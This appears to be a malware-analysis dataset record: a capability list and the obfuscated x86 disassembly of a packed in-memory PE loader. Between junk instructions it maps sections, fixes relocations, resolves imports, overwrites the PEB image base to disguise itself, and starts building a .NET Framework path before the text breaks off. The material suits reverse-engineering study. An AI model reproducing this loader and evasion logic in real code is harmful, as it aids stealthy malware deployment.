Function at 0x408000
Capabilities:
Access peb ldr_data
Create thread
Encode data using base64
Enumerate pe sections
Get number of processors
Get process heap flags
Get process heap force flags
Inspect section memory permissions
Parse pe header
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
not edi
or esi, 0
sub edx, 0x5f
sub esi, 0x3f
or ebx, 0x13
imul edi
rcl edx, 0xf2
neg edx
and esi, 0x78
imul eax
dec edx
rcl ebx, 0xb0
sub ebx, 0xb2
ror edi, 0xfc
neg edi
neg eax
rol esi, 0x3d
imul edi
sbb edi, 0x77
dec esi
bswap eax
imul edi
or ebx, 0x33
sub edi, 0x8b
neg edi
not esi
rcr eax, 0x74
ror esi, 0x3a
ror edi, 0x31
neg ebx
imul edi
dec esi
rcl ebx, 0x44
rcr edx, 0x32
not eax
mov ebx, 0xa1
and edi, 0x85
dec edx
or esi, 0x21
neg esi
neg eax
dec eax
sub eax, 0x3e
mov edi, 0x86
neg eax
inc ebx
neg edi
rcr edi, 0xeb
inc edx
dec ebx
mov edx, 0xe1
add edi, 0x6d
sub edi, 0xbe
imul edi
neg ebx
rcr ebx, 0x98
mov esi, 0x80
neg edx
inc ebx
ror eax, 0x7e
neg esi
imul edx
mov edx, 4
imul edi
or ebx, 0xc0
rcr edx, 0x69
rol esi, 0x82
sbb ebx, 0x38
dec edx
bswap edx
sbb esi, 0xf4
imul eax
or ebx, 6
rcl ebx, 0x84
rcl edi, 0x30
neg eax
bswap edi
add edx, 0xab
rol ebx, 0xb3
add edi, 0x20
sub edx, 6
neg ebx
bswap edx
neg edi
inc edi
and edi, 0xe1
imul edx
sbb edx, 0x15
rcl edx, 0xac
neg edi
rcl esi, 0xf7
inc edx
bswap esi
rcr edx, 0xe9
sub eax, 0x48
dec edi
bswap ebx
neg edi
rcl eax, 0x7b
sub edi, 0xa7
sub eax, 0xd4
mov esi, 0x10
rcr esi, 0x5e
ror esi, 0x51
imul edx
sub eax, 0x7a
and edi, 0x7d
imul edx
imul edi
rol ebx, 0x1b
imul esi
or esi, 0x7e
ror esi, 0x20
and edi, 0x83
neg ebx
not edx
dec ebx
rcl esi, 0x37
inc eax
sbb edx, 3
sbb edx, 0xea
dec edi
sbb esi, 0x1a
not esi
bswap eax
mov eax, 0x8e
not ebx
not ebx
sub eax, 0x81
mov esi, 0xc6
dec ebx
sub eax, 0xf7
mov esi, 0x58
mov eax, 0x3c
rol edx, 7
and ebx, 0x4b
bswap edx
and edi, 0x13
dec edx
bswap edx
add edi, 0x95
rol eax, 0xbe
not edx
ror edi, 0x4b
ror edx, 0x72
imul edi
rcl eax, 0x94
rcl eax, 0xcd
mov ebx, 0xbc
rcl esi, 0x7c
or ebx, 0xb5
sub esi, 0xc2
rcl ebx, 0xd
inc esi
sbb edx, 0x55
mov edi, 0xa0
add esi, 0x45
mov edi, 0x9f
ror eax, 0xab
ror edx, 0xd2
and eax, 0xd9
sub eax, 0x3c
inc esi
rol esi, 0x58
mov esi, 0x2a
not edi
bswap eax
ror edx, 0x81
dec eax
mov esi, 0x94
rcr edi, 0x78
neg edx
neg ebx
imul esi
bswap edx
rcr edx, 0xd8
dec eax
mov eax, 0xfe
dec esi
ror edx, 0xe2
rcl eax, 0x70
not edx
bswap eax
add esi, 0x17
imul edx
mov edi, 0x3b
inc edx
dec edx
add edx, 0xc4
bswap esi
bswap eax
dec ebx
rcl edx, 0xe1
rcl eax, 0xbd
rol eax, 0x66
neg eax
or ebx, 7
dec edi
bswap edx
not ebx
push 0x77c00
push 0x40d008
call fcn.00401000
add esp, 8
mov dword [ebp + 8], 0x40d008
sbb esi, 0x16
mov ebx, 0x60
sbb esi, 0x15
or eax, 0xc0
neg edi
imul ebx
neg esi
bswap edi
inc esi
inc ebx
dec edx
dec ebx
and eax, 0xc0
bswap edx
rcr eax, 0x18
or eax, 0x49
bswap eax
not eax
sub edi, 0x13
neg edi
inc ebx
sbb edi, 0x6d
add eax, 0x60
sbb esi, 0xa7
dec eax
bswap esi
inc edx
dec eax
sub esi, 0x19
and ebx, 0x9a
dec ebx
add ebx, 0x4d
and eax, 0xf7
neg edi
imul ebx
add edx, 0x2f
and eax, 0x4f
sub ebx, 0x9c
rcr ebx, 0xf8
add ebx, 0xb8
sbb edx, 0xac
not esi
neg edi
dec edi
add esi, 0xc4
ror edi, 0x90
dec edi
rcl ebx, 0x43
rcr ebx, 0x4a
ror ebx, 0xa4
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0xc4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
cmp dword [eax], 0x4550
je 0x40831e
mov eax, 1
jmp 0x4098e9
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0xa4]
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
je 0x408351
mov dword [ebp - 0x110], 0
jmp 0x408360
mov ecx, dword [ebp - 0x90]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x110], edx
push 4
push 0x3000
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0xb8], 0
jne 0x4083a8
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [eax + 0x34]
je 0x4083a8
mov eax, 2
jmp 0x4098e9
bswap edx
neg eax
imul edx
rcl esi, 0xeb
imul edx
dec esi
imul edi
dec edx
ror eax, 0x38
neg eax
rcl eax, 0x69
rcr esi, 0x3f
sub edx, 0xa5
not edi
inc edx
not edi
sub edi, 0x1c
sbb edx, 0x2e
rol ebx, 0x9a
rcr edx, 0xe4
not edi
rcr edx, 0x6d
neg edi
sub eax, 0xf1
mov eax, 0xe7
imul esi
add eax, 0x24
and edx, 0xa0
inc esi
not edx
inc eax
mov esi, 0x77
dec ebx
sub esi, 0x59
inc ebx
or ebx, 0x23
and edi, 2
not edx
not esi
sbb edx, 0xe4
and edi, 0xa6
mov ebx, 0x18
add ebx, 0x7d
not edx
sbb esi, 0xc9
neg esi
rcl eax, 0x4f
neg edx
rcr ebx, 0xc6
rcl ebx, 0x78
push 0x400
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x8c]
push eax
call fcn.00401210
add esp, 0xc
ror esi, 0x5c
and ebx, 0xe9
inc esi
dec edi
sbb eax, 0x9f
not edx
ror edi, 7
bswap ebx
sub ebx, 0xb2
rol ebx, 0x90
inc esi
ror ebx, 0x5d
mov edi, 0x4d
imul edi
and esi, 0x56
neg ebx
not eax
ror edi, 0xf1
or ebx, 0x1d
add edx, 0x9c
inc ebx
neg esi
rcl edx, 0x79
dec ebx
neg esi
or edx, 0xbc
sub edx, 0x76
imul edi
rcr eax, 7
and edi, 0x84
rcr eax, 0xfd
ror ebx, 0x48
add esi, 0x56
add eax, 0xfc
neg ebx
rol edi, 0xef
or eax, 0x99
dec edx
imul eax
neg esi
rcl esi, 0xe6
neg eax
bswap eax
neg eax
neg edi
neg edx
dec edx
neg esi
or eax, 0x1f
rcr edx, 0x98
bswap edx
rcr edi, 0xb7
inc edi
or edx, 0xf1
bswap esi
rol eax, 0xe8
bswap eax
bswap edi
neg edi
or edi, 0xff
inc ebx
add ebx, 0xd4
ror edx, 0xd7
neg esi
inc esi
inc eax
inc esi
bswap eax
rol edi, 0x93
bswap edi
not esi
dec esi
and eax, 0x35
and esi, 0xde
mov edx, 0xfa
rcl edx, 2
or eax, 0x8e
not edi
and eax, 0xd2
add edi, 0x8f
add ebx, 0x30
not edx
and ebx, 0xc6
rcl edx, 0x93
inc ebx
bswap ebx
rcr edi, 0xe6
imul edx
neg edi
imul esi
mov eax, 3
imul ebx
sub edi, 0xd5
rcr eax, 0x16
neg edi
rol ebx, 0x77
not edx
sbb eax, 0x89
and edi, 0x15
neg ebx
dec edx
neg ebx
sbb esi, 0x73
imul ebx
and edi, 0x2d
not esi
dec eax
rcl eax, 0x9f
not esi
ror eax, 0x62
sub edi, 0x72
ror eax, 0x95
rcl eax, 0x39
mov ebx, 0xd2
neg esi
rcr edx, 0x6a
and eax, 0xb0
rcr ebx, 0x69
and esi, 0x37
imul esi
rcr ebx, 0xdb
rcr esi, 0x53
not eax
rcr ebx, 4
ror ebx, 0x65
rol esi, 0x5c
not edi
and esi, 0x8f
imul edi
or edx, 0xba
not ebx
neg esi
inc edi
dec esi
add esi, 0x69
imul esi
imul edx
rcr edx, 0x3f
rol esi, 0xa2
rcl eax, 0x30
inc edi
dec eax
inc eax
and eax, 0xf5
inc ebx
and esi, 0xfd
inc edx
rol esi, 0xa8
rol edi, 0
dec eax
not esi
or ebx, 0xb8
and edx, 0xd3
neg edi
sbb eax, 0x7d
neg edi
neg edi
sub esi, 0x54
dec edi
not ebx
inc eax
rcl edx, 0xfe
or edx, 0x31
sub edi, 0xea
rcl edx, 0x7a
ror eax, 0x72
dec esi
dec eax
imul esi
rcr esi, 0xdc
mov esi, 0x64
bswap eax
inc edx
sub edx, 0x87
sbb edx, 0x7d
rol ebx, 0x91
add ebx, 0xc3
rcl ebx, 0x20
sbb ebx, 0xdc
imul eax
rcr ebx, 0x53
imul edi
rol eax, 2
bswap edi
not edi
inc edx
bswap edx
not edx
ror esi, 0x39
rol esi, 0x99
dec eax
bswap eax
not esi
rcr edi, 0xae
not esi
neg edx
mov esi, 0x5e
inc eax
neg ebx
rcl eax, 0xf9
not ebx
rcr ebx, 0xb4
neg ebx
neg eax
or edx, 0x30
bswap esi
bswap ebx
sub edx, 0xec
rol esi, 0x42
bswap edi
sbb edi, 0xce
ror edi, 0x10
imul edx
sbb edi, 0x83
neg edx
rol ebx, 0x7c
not edi
add edx, 0xbc
inc edi
and eax, 0x25
neg esi
bswap ebx
neg eax
bswap ebx
dec edx
and edx, 0x18
inc esi
neg edi
rol eax, 0xc8
imul esi
imul edi
or edx, 0x34
add ebx, 0x47
sbb eax, 0xaa
and esi, 0x9c
imul edi
imul edx
imul edi
sub edi, 0x5f
neg ebx
neg eax
and eax, 0xef
or eax, 0x75
sub esi, 0xac
dec edx
not eax
inc ebx
not ebx
ror edi, 0xea
rcl edi, 0x22
mov ecx, dword [ebp - 0x90]
movzx edx, word [ecx + 0x14]
mov eax, dword [ebp - 0x90]
lea ecx, [eax + edx + 0x18]
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0xc8], 0
jmp 0x40873e
mov edx, dword [ebp - 0xc8]
add edx, 1
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x90]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0xc8], ecx
jge 0x40879f
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 0x10]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0xc8]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401210
add esp, 0xc
jmp 0x40872f
mov ebx, 0x48
add edi, 0x16
imul ebx
add edi, 0x7c
sbb esi, 0x47
not esi
not edi
not ebx
not eax
not ebx
dec eax
and eax, 0xc3
bswap edx
dec esi
inc eax
rcr edi, 0xed
neg esi
dec ebx
and esi, 0xfd
sbb ebx, 0xc7
rcl esi, 0xa9
sbb ebx, 0x70
dec eax
add eax, 0x78
sub edx, 0x6c
and ebx, 0x19
sub ebx, 0x55
rcl edx, 0xd8
neg ebx
imul edi
neg edx
dec eax
mov edx, 0x94
bswap edx
rol eax, 0xec
mov ebx, 0x82
bswap edx
imul esi
ror eax, 0x59
add ebx, 8
rcl edx, 0xf4
dec esi
bswap eax
rcl edx, 0x7f
dec edi
ror eax, 0xb1
add esi, 0xe9
inc edx
ror edi, 0xeb
rcl edi, 0xf4
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
cmp eax, dword [edx + 0x34]
je 0x40895a
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0xbc]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd4], 0
mov ecx, dword [ebp - 0xd4]
cmp ecx, dword [ebp - 0xb8]
jae 0x40895a
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xcc]
mov edx, dword [ecx + 4]
sub edx, 8
shr edx, 1
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0xcc]
add eax, 8
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xe4], 0
jmp 0x4088cf
mov ecx, dword [ebp - 0xe4]
add ecx, 1
mov dword [ebp - 0xe4], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xdc]
jge 0x408934
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
sar ecx, 0xc
and ecx, 3
je 0x408923
mov edx, dword [ebp - 0xe0]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ecx + eax]
add edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xe0]
movzx ecx, word [eax]
and ecx, 0xfff
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx], edx
mov ecx, dword [ebp - 0xe0]
add ecx, 2
mov dword [ebp - 0xe0], ecx
jmp 0x4088c0
mov edx, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xd4]
add eax, dword [edx + 4]
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0xe0]
mov dword [ebp - 0xcc], ecx
jmp 0x40886b
mov edx, 0x36
neg esi
add eax, 8
neg eax
or edi, 0xee
neg edx
dec edi
neg esi
mov ebx, 0xc2
sub eax, 0x2f
neg eax
inc edi
sbb esi, 0x58
or esi, 0xde
bswap edx
or edx, 0x18
neg edi
or edx, 7
neg edi
neg eax
rol edx, 0x8b
rol eax, 0xa1
rcl ebx, 0xf9
add edx, 0x80
dec edi
mov eax, 0x9e
not esi
ror esi, 0x36
imul ebx
rcl edi, 0x94
bswap edx
or ebx, 0x31
not eax
sbb esi, 0x65
rcr ebx, 0x5d
sub edi, 0x71
imul edx
dec eax
inc ebx
inc edx
not ebx
inc edi
sbb edi, 0x8b
bswap esi
ror esi, 0xdc
rcr edx, 0xaa
not edi
ror edx, 0x1e
neg ebx
or edx, 0x22
inc ebx
neg edi
inc edi
bswap edx
or esi, 0x3d
neg esi
rcl edx, 0x4e
sbb esi, 0xb6
or edx, 0x40
imul eax
bswap esi
rcr ebx, 0x9b
and ebx, 0x40
or ebx, 0x9f
sub edx, 0x50
bswap ebx
bswap ebx
sbb edi, 0x37
neg esi
not esi
add edx, 3
and ebx, 0x1d
not esi
add esi, 0x49
neg edi
mov edi, 0x9a
inc edi
imul eax
not edx
or esi, 0x76
inc ebx
not edx
inc edi
not esi
neg eax
dec eax
rcl esi, 0x91
or esi, 0x78
inc eax
and ebx, 0xdf
ror ebx, 0x7e
inc esi
dec esi
ror ebx, 0x69
not ebx
sub edi, 0x98
not edx
inc edi
neg eax
neg eax
sub eax, 0x65
ror eax, 0x86
and edi, 0xee
sub esi, 0x45
not eax
not ebx
neg esi
not edx
ror edx, 0xb1
imul edi
dec edi
inc edx
sub ebx, 0xf7
neg edx
or eax, 0x59
sub edx, 0x85
neg eax
or ebx, 0x89
dec edi
not esi
add eax, 0xdf
inc ebx
mov ebx, 0xa9
dec ebx
imul esi
dec eax
neg eax
inc edx
sbb esi, 0x40
bswap esi
bswap ebx
or edi, 0xe4
mov edx, 0x17
bswap edx
not esi
or ebx, 0xe8
imul ebx
rcl esi, 0xa1
rcr edx, 0x85
imul ebx
bswap eax
dec edx
imul eax
or edx, 9
ror eax, 0xe1
not eax
dec ebx
imul esi
neg ebx
inc edx
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x80]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0xe8], 0
jmp 0x408b16
mov ecx, dword [ebp - 0xe8]
add ecx, 1
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
cmp dword [eax + edx + 0x10], 0
je 0x408c54
mov ecx, dword [ebp - 0xe8]
imul ecx, ecx, 0x14
mov edx, dword [ebp - 0xa0]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + ecx + 0xc]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0xf4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x408b6d
jmp 0x408b07
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xf8], 0
jmp 0x408ba7
mov edx, dword [ebp - 0xf8]
add edx, 1
mov dword [ebp - 0xf8], edx
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf0]
cmp dword [ecx + eax*4], 0
je 0x408c4f
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x100], ecx
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xf0]
movzx ecx, word [eax + edx*4]
push ecx
mov edx, dword [ebp - 0xec]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jne 0x408c22
mov eax, dword [ebp - 0x100]
add eax, 2
push eax
mov ecx, dword [ebp - 0xec]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xfc], eax
mov edx, dword [ebp - 0xe8]
imul edx, edx, 0x14
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0x10]
mov edx, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xfc]
mov dword [ecx + edx*4], eax
jmp 0x408b98
jmp 0x408b07
mov dword [ebp - 0x104], 0
jmp 0x408c6f
mov ecx, dword [ebp - 0x104]
add ecx, 1
mov dword [ebp - 0x104], ecx
mov edx, dword [ebp - 0x90]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x104], eax
jge 0x408d8d
mov dword [ebp - 0x108], 0x40
mov ecx, dword [ebp - 0x104]
imul ecx, ecx, 0x28
mov edx, dword [ebp - 0x9c]
mov eax, dword [edx + ecx + 0x24]
mov dword [ebp - 0x10c], eax
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408cdd
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408cdd
mov eax, dword [ebp - 0x10c]
and eax, 0x20000000
je 0x408cdd
mov dword [ebp - 0x108], 0x40
jmp 0x408d44
mov ecx, dword [ebp - 0x10c]
and ecx, 0x40000000
je 0x408d05
mov edx, dword [ebp - 0x10c]
and edx, 0x80000000
je 0x408d05
mov dword [ebp - 0x108], 4
jmp 0x408d44
mov eax, dword [ebp - 0x10c]
and eax, 0x40000000
je 0x408d2c
mov ecx, dword [ebp - 0x10c]
and ecx, 0x20000000
je 0x408d2c
mov dword [ebp - 0x108], 0x20
jmp 0x408d44
mov edx, dword [ebp - 0x10c]
and edx, 0x40000000
je 0x408d44
mov dword [ebp - 0x108], 2
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax + edx + 8]
push ecx
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x28
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x8c]
add ecx, dword [eax + edx + 0xc]
push ecx
call fcn.00401230
add esp, 0x10
jmp 0x408c60
sub edi, 0x1e
rcr ebx, 0x9c
sub ebx, 0xa5
bswap edi
ror edi, 0xb9
bswap eax
imul edi
neg ebx
imul eax
rol ebx, 0x9a
rcr ebx, 0x8a
inc ebx
mov esi, 0x5d
rcl edx, 0x72
neg edx
not eax
rcr edi, 0x3a
sub edi, 0xd0
ror eax, 0x76
mov eax, 0xa9
sub esi, 0xa
inc edi
inc edx
ror esi, 0xac
rcr edx, 0xa2
neg esi
or eax, 0x51
inc ebx
imul edi
rol edx, 0xa4
imul eax
mov edx, 0x90
and ebx, 0x67
neg eax
or eax, 0x2a
inc edi
bswap edx
inc ebx
sbb edx, 0x55
mov ebx, 5
not eax
rcr edi, 0x4b
dec eax
or edx, 0x16
dec eax
rcl esi, 0x35
sbb edx, 0x63
rcl esi, 0xba
dec esi
mov eax, 0x87
not edi
or edi, 0x77
not ebx
imul eax
dec esi
sbb ebx, 0xb4
mov ebx, 0x9d
not ebx
ror esi, 0x15
imul eax
and edx, 0xa1
rcl esi, 0xdd
inc edi
rcl ebx, 0x2c
add edi, 0x62
neg edx
not esi
rcl edi, 0xa
sbb edi, 0x53
mov esi, 0x4e
not edx
neg ebx
imul edi
sub ebx, 0x63
sbb eax, 0x98
and ebx, 0x9a
rcl esi, 0x6d
inc eax
neg edi
sbb edx, 0xe
not esi
rcl esi, 0x78
mov edi, 0xba
not eax
neg eax
not eax
dec edx
imul eax
add edi, 0x1a
and edx, 0xf
and esi, 0x1f
mov edx, 0x62
sbb esi, 0x7d
sbb eax, 0x58
neg edi
bswap esi
neg esi
rcl esi, 0xd4
sub eax, 0x39
imul edi
rcl esi, 0x4d
neg edi
or edx, 0xa4
neg ebx
bswap edi
rcr edx, 0x7f
or edx, 0x51
neg eax
not edx
neg edi
rcr eax, 0x8d
inc ebx
dec eax
ror edx, 0x32
imul edx
inc esi
neg edx
rcr edx, 0x20
mov ebx, 0xd1
dec eax
rcr edx, 0x47
rcr eax, 0x43
and edi, 0x42
bswap edi
bswap ebx
bswap edx
add eax, 0xda
inc edx
sub ebx, 0x54
rol edi, 0x45
neg esi
inc edi
or ebx, 0xd8
bswap edx
neg esi
imul eax
sbb esi, 0xfc
sub edi, 0x9b
rcl esi, 0x33
mov esi, 0xb2
neg edi
ror esi, 0xa1
sub esi, 0x6d
sbb edx, 0xa9
and esi, 0x3a
or edi, 0x15
inc edi
inc ebx
or eax, 0xef
bswap ebx
mov edx, dword fs:[0x30]
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
sub eax, 8
mov dword [ebp - 0x98], eax
bswap edx
not eax
and esi, 0x42
rcl ebx, 0xc5
or edi, 0x74
mov ebx, 0x80
dec esi
sub ebx, 0xba
neg edi
inc edx
mov edx, 0x5f
mov esi, 0xc2
bswap edx
dec edi
dec edi
or esi, 0x66
mov eax, 0x85
sub eax, 0x70
sub ebx, 0x67
and esi, 0xab
or eax, 0x56
dec eax
dec esi
mov edi, 0x95
bswap edx
ror ebx, 0x2e
rcl edx, 0x24
rcr edx, 7
inc edi
inc edx
dec edx
and eax, 0xc5
rcr edi, 0x67
neg edi
inc edi
or esi, 0x18
neg edi
neg eax
neg eax
not eax
bswap edx
not edx
imul edx
inc esi
neg eax
neg esi
not edx
and ebx, 0x9e
inc ebx
add esi, 0x30
not ebx
neg edi
or eax, 0x15
bswap edx
dec edi
not eax
or edi, 0xcc
bswap esi
and esi, 0xc4
rcl edx, 0xaf
rol edi, 0xfb
ror edx, 0x87
imul edi
neg ebx
rcl edx, 1
or ebx, 0x26
neg edx
mov edi, 0xa5
rcl edx, 0xb2
bswap ebx
rol edx, 0x32
or edi, 0x68
ror edi, 0x65
imul esi
imul edx
mov edi, 0xe4
or eax, 0x50
sub edx, 0x93
sub esi, 0x4c
rol esi, 0xfc
add eax, 0xf
dec edi
bswap edx
or ebx, 0x52
not ebx
neg edx
inc ebx
inc edx
imul edx
ror esi, 0xc8
rcl esi, 0xee
rol edi, 0
mov edi, 0x2d
bswap edi
mov edx, 0x5a
sub edi, 0xaf
and ebx, 0xc3
imul esi
ror edi, 0xb5
not esi
or esi, 0xf1
sbb edi, 0x6c
inc edx
inc ebx
neg esi
sbb ebx, 0xf5
mov edx, 0x49
neg edi
dec edi
bswap edi
rol esi, 0x25
imul eax
sub edi, 9
sbb edi, 0x4c
or esi, 0x43
rcr ebx, 0x31
imul edx
inc eax
add esi, 0x7d
neg edx
rcr ebx, 0x99
dec eax
imul edx
imul edi
mov eax, 0x27
bswap ebx
imul ebx
imul edi
neg esi
bswap esi
mov esi, 0x7d
ror eax, 0xd4
bswap ebx
sbb esi, 0x43
bswap edi
dec edx
and esi, 0xde
bswap esi
rol edi, 0x92
imul edi
not esi
imul edi
imul eax
ror edx, 0x87
bswap ebx
or edx, 0xc
dec eax
dec esi
neg esi
bswap edi
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x8c]
mov dword [ecx + 8], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x8c]
mov dword [eax + 0x18], ecx
mov edx, dword [ebp - 0x98]
add edx, 0x24
mov dword [ebp - 0xa4], edx
or eax, 0x28
and edx, 0xbb
inc ebx
mov edx, 0x9d
rol esi, 0xad
neg edx
ror eax, 0xaa
add ebx, 0x81
add edx, 0x91
mov edi, 0xb1
not ebx
rol edx, 0xaa
inc ebx
neg eax
sbb eax, 0x69
rcl esi, 0x64
bswap eax
bswap ebx
dec edi
dec ebx
imul eax
rol esi, 0x68
imul ebx
not esi
imul edx
dec edi
bswap edi
or edi, 0x40
neg eax
and edi, 0x46
rcl edx, 0xfa
and edx, 0xc2
rol edx, 0xcf
ror esi, 0x60
imul edx
imul edx
add edi, 0xa0
sbb esi, 0x95
not ebx
not edi
rcl esi, 0x15
dec edx
bswap edi
sub esi, 0xec
and ebx, 0x4d
sub edi, 0x25
inc edi
mov edi, 0xc1
rol esi, 0xe9
sbb eax, 0xb1
add edi, 6
bswap ebx
rcr ebx, 0x98
neg ebx
mov edi, 0xf4
bswap edx
bswap ebx
add eax, 0xa1
rol eax, 0x29
bswap ebx
ror edi, 0x64
inc ebx
sbb edi, 0x3c
sub edx, 0x42
rol eax, 0x77
inc eax
neg edx
or edi, 0x2d
and esi, 0xdf
add ebx, 0x52
rol esi, 0xeb
ror eax, 0xad
sbb edi, 0x42
rcl edx, 0x5a
mov edi, 0xff
add edi, 0xc3
imul edx
or ebx, 0xdc
inc esi
neg esi
dec eax
and ebx, 0x72
bswap edi
neg edi
imul edi
add esi, 0x77
and esi, 0xb9
inc esi
or edx, 0x34
and edx, 0xff
rcl eax, 0x71
imul edi
and edx, 0x12
inc esi
dec edi
ror eax, 0x80
imul ebx
dec ebx
rcl eax, 8
rol ebx, 0xc
sbb ebx, 0x82
rcl edx, 0x25
neg esi
dec eax
rol esi, 0xa7
and esi, 0x74
imul edi
sub esi, 0x2d
ror edx, 3
imul edx
bswap edi
dec edx
rol edx, 0x81
sbb eax, 0x47
or esi, 0xce
rcl edx, 0x77
rcl edi, 0xb4
or esi, 9
sbb edi, 0x1f
rcl edi, 0x45
bswap edi
add edx, 0x3f
rcl esi, 0xbc
dec eax
ror esi, 0x46
or ebx, 0xa4
ror eax, 0xee
rcl eax, 0xc3
inc edx
imul esi
sub edx, 0xf4
neg edi
not ebx
bswap eax
inc edx
bswap edx
dec eax
rcr edi, 0x19
rcl ebx, 0x10
inc eax
rol ebx, 0x3c
mov edx, 0x7e
and eax, 0xe0
not esi
or edx, 0x3f
ror edi, 0x48
mov edi, 0x2e
imul eax
bswap eax
rcl ebx, 0x69
mov eax, 0x43
mov word [ebp - 0x88], ax
mov ecx, 0x3a
mov word [ebp - 0x86], cx
mov edx, 0x5c
mov word [ebp - 0x84], dx
mov eax, 0x5c
mov word [ebp - 0x82], ax
mov ecx, 0x57
mov word [ebp - 0x80], cx
mov edx, 0x69
mov word [ebp - 0x7e], dx
mov eax, 0x6e
mov word [ebp - 0x7c], ax
mov ecx, 0x64
mov word [ebp - 0x7a], cx
mov edx, 0x6f
mov word [ebp - 0x78], dx
mov eax, 0x77
mov word [ebp - 0x76], ax
mov ecx, 0x73
mov word [ebp - 0x74], cx
mov edx, 0x5c
mov word [ebp - 0x72], dx
mov eax, 0x4d
mov word [ebp - 0x70], ax
mov ecx, 0x69
mov word [ebp - 0x6e], cx
mov edx, 0x63
mov word [ebp - 0x6c], dx
mov eax, 0x72
mov word [ebp - 0x6a], ax
mov ecx, 0x6f
mov word [ebp - 0x68], cx
mov edx, 0x73
mov word [ebp - 0x66], dx
mov eax, 0x6f
mov word [ebp - 0x64], ax
mov ecx, 0x66
mov word [ebp - 0x62], cx
mov edx, 0x74
mov word [ebp - 0x60], dx
mov eax, 0x2e
mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
